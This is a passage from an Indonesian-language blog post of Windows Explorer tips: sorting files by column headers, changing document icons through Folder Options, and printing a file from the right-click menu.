Untuk memudahkan kita dalam mencari file yang terdapat pada windows exploler, kita dapat mengurutkan file-file tersebut dengan cara mengklik tulisan Name, Size, Type atau Modified pada column Title. Klik sekali untuk mengurutkan secara ascending (dari A sampai Z), klik sekali lagi untuk mengurutkan secara descending (dari Z sampai A). cara tersebut dianggap lebih cepat daripada kita harus mgnklik menu [View] pilih [Arrange icons]. Untuk mengurutkan file berdasarkan nama pilih [by name], mengurutkan file berdasarkan ukuran file pilih [by size], dan [by type] atau [by modified] jika ingin mengurutkan berdasarkan tipe file atau berdasarkan tanggal pilih
3. Mengganti berbagai ikon dokumen
Untuk menggantinnya bisa dilakukan dengan cara :
a. Klik menu [Tools] pada windows exploler, lalu pilih [folder options], lalu pindah ke tab {file Types]
b. Pilihlah document yang akan diganti iconnya, sebagai contoh Microsoft Word,
c. Cari tulisan Microsoft office Word, klik menu [advanced]
d. Pada tampilan yang muncul, klik [change Icon]
e. Pilih dari berbagai icon yang ada, kemudian klik [OK]
Untuk document lain yang ingin diganti iconnya, kita bisa mengulangi langkah diatas
4. Mencetak secara langsung pada windows exploler
Apabila anda ingin mencetak secara langsung suatu data pada Windows Exploler, caranya klik kanan pada file yang akan dicetak, lalu pilih [print]. Maka dengan sendirinya aplikasi yang digunakan akan terbuka dan langsung mencetak. Dengan catatan printer harus dalam keadaan menyala.


Klik disini untuk melanjutkan »»
 
Namablogkamu is proudly powered by Blogger.com | Template by o-om.com